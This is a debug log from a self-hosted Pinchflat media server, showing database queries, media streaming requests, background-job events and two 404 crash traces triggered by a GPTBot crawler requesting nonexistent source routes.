[:maybe_basic_auth] 16:15:19.883 [debug] QUERY OK source="media_items" db=0.1ms idle=930.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 16:15:19.883 [debug] Invalid range request for media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e - serving full file 16:15:19.883 [info] Sent 200 in 626µs 16:15:20.171 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 16:15:20.171 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 16:15:20.171 [debug] QUERY OK source="media_items" db=0.1ms idle=1218.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 16:15:20.171 [debug] Streaming media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e from 1232 to 161252887 16:15:20.171 [info] Sent 206 in 480µs 16:15:20.330 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 16:15:20.330 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 16:15:20.331 [debug] QUERY OK source="media_items" db=0.1ms idle=1378.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 16:15:20.331 [debug] Streaming media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e from 1236498 to 161252887 16:15:20.331 [info] Sent 206 in 515µs 16:15:27.134 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:57.135 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:00.721 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:16:27.136 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:36.138 [info] GET / 16:16:36.138 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 16:16:36.138 [debug] QUERY OK source="settings" db=0.1ms idle=1185.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:36.138 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1185.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 16:16:36.138 [debug] QUERY OK source="sources" db=0.0ms idle=1185.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 16:16:36.143 [debug] QUERY OK source="media_items" db=4.9ms idle=1185.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:16:36.144 [debug] QUERY OK source="media_items" db=0.4ms idle=241.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:16:36.144 [debug] QUERY OK source="settings" db=0.0ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:36.144 [debug] QUERY OK source="settings" db=0.0ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:36.144 [debug] QUERY OK source="settings" db=0.0ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:36.145 [debug] QUERY OK source="media_items" db=0.6ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:16:36.148 [debug] QUERY OK source="media_items" db=2.3ms idle=1.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:16:36.148 [debug] QUERY OK source="sources" db=0.1ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 16:16:36.153 [debug] QUERY OK source="media_items" db=4.5ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 16:16:36.155 [debug] QUERY OK source="media_items" db=1.6ms idle=8.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:16:36.155 [debug] QUERY OK source="tasks" db=0.0ms idle=9.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:16:36.155 [info] Sent 200 in 17ms 16:16:51.577 [info] GET /api/v1/videos 16:16:51.577 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 16:16:51.602 [debug] QUERY OK source="media_items" db=24.1ms idle=1625.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 16:16:51.663 [info] Sent 200 in 85ms 16:16:51.736 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/episode_image.jpg 16:16:51.736 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c"} Pipelines: [:maybe_basic_auth] 16:16:51.736 [debug] QUERY OK source="media_items" db=0.1ms idle=1783.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 16:16:51.764 [info] Sent 200 in 27ms 16:16:57.137 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:00.722 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:17:27.138 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:57.139 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:00.724 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:18:14.080 [info] GET /sources/2/force_index 16:18:14.081 [debug] QUERY OK source="settings" db=0.1ms idle=1127.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:18:14.081 [debug] QUERY OK source="settings" db=0.0ms idle=1078.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:18:14.081 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:18:14.081 [error] #PID<0.10781.0> running PinchflatWeb.Endpoint (connection #PID<0.10780.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/2/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10780.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 36258}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10781.0>, params: %{}, path_info: ["sources", "2", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/2"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/2/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVGF4DCZs5MPZAAA9vB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10780.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 36258}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10780.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 36258}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10781.0>, params: %{}, path_info: ["sources", "2", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, (truncated) 16:18:27.140 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:56.090 [info] GET /sources/2/sync_files_on_disk 16:18:56.090 [debug] QUERY OK source="settings" db=0.1ms idle=1045.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:18:56.090 [debug] QUERY OK source="settings" db=0.1ms idle=137.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:18:56.090 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:18:56.090 [error] #PID<0.10786.0> running PinchflatWeb.Endpoint (connection #PID<0.10785.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/2/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10785.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50694}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10786.0>, params: %{}, path_info: ["sources", "2", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/2"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/2/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVGIUi20nDxW6IAAhJC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10785.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50694}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10785.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50694}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10786.0>, params: %{}, path_info: ["sources", "2", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"} (truncated) 16:18:57.141 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:00.725 [info] {"source":"oban","duration":380,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:19:27.142 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:53.116 [info] GET 